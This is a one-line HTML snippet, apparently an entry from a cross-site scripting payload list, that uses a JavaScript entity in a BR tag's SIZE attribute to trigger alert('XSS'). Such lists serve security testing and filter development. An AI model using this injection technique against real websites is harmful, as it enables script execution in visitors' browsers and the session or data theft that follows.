<BR SIZE="&{alert('XSS')}">